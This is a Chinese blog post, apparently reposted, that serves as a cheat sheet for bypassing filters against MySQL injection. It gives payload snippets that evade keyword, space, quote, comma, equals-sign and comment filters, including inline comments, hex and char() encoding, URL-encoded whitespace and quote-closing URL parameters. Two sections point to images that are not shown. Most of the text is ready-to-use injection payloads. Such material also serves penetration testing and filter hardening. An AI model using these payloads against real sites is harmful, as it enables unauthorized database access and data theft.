MySQL注入秘籍【绕过篇】

1.通用方法

编码

编码无非就是hex、url等等编码,让传到数据库的数据能够解析的即可,比如URL编码一般在传给业务的时候就会自动解码

内联注释

可以插到括号中,但是必须要保证单词的完整

select 1/*!union*/select 2;
select /*!user(*/);
/*!41320select/*!/*!10000user/*!(/*!/*!/*!*/);

2.绕过空格

空格被过滤的情况,可以用如下的一些手法:

  1. 使用注释符
select/**/user();
select/*hahaha*/user();
  1. URL编码空格

使用URL编码 + 编码空格

  1. 其他URL编码(换行、Tab等)
%0d、%0a、%09%0b、%a0
  1. 使用括号

括号是用来包围子查询的;因此任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格

select(user())from(t_user);
  1. and/or后面的空格需要绕过

如果是and/or后面的空格需要绕过的话,可以跟上奇或者偶数个!、~来替代空格,也可以混合使用(规律有不同,可以自己本地尝试),and/or前的空格可用省略

select * from user where username="test"and!!!1=1;
select * from user where username="test"and~~~~1=1;
select * from user where username="test"and~~!!!~~1=1;

也可以用+、-来替代空格,and后有偶数个-即可,+的个数随意

select * from user where username="test"and------1=1;
select * from user where username="test"and+++---+++---+++1=1;

3.绕过引号

十六进制hex()

单/双引号被过滤,一般采用16进制绕过

例如:

-- 原语句
select table_name from information_schema.tables where table_schema='test';
-- 16进制后
select table_name from information_schema.tables where table_schema=0x74657374;

char()

除了上面的十六进制外,还可以用char函数连接起来

select table_name from information_schema.tables where table_schema='test';
-- char后
select table_name from information_schema.tables where table_schema=char(116,101,115,116);

4.绕过逗号,

针对普通情况(使用join)

-- 原语句
select user(),database();

-- 绕过
select * from (select user())a join (select database())b;

针对limit(使用offset)

-- 原语句
select * from t_user limit 1,1
-- 绕过
select * from t_user limit 1 offset 1;

针对切割函数

-- 原语句
select substr(username,1,1) from t_user;
-- 绕过
select substr(username from 1 for 1) from t_user;

5.绕过等号=

过滤了等号或者相关的匹配符,可以采用如下的一些手法来绕过

在这里插入图片描述


6.绕过and/or

因为and和or主要也是起到连接我们拼接语句的作用,那我们找其他类似功能的算术符等即可

select 1 && 0;
select 1 || 0;

7.绕过注释符

对注释符过滤的情况下,对我们来说问题可能就是语句不能正常执行

解决办法也很简单,用完整语句给他闭合就OK了,其他语句类似

# 原始
?id=1
# 完整闭合
?id=1' and expr and '1'='1

8.绕过函数检测

一些函数如ascii等被过滤,可以使用等价的函数进行绕过,如

在这里插入图片描述

版权声明:本文教程基于d4m1ts博客

猜你喜欢

转载自blog.csdn.net/Gherbirthday0916/article/details/129713302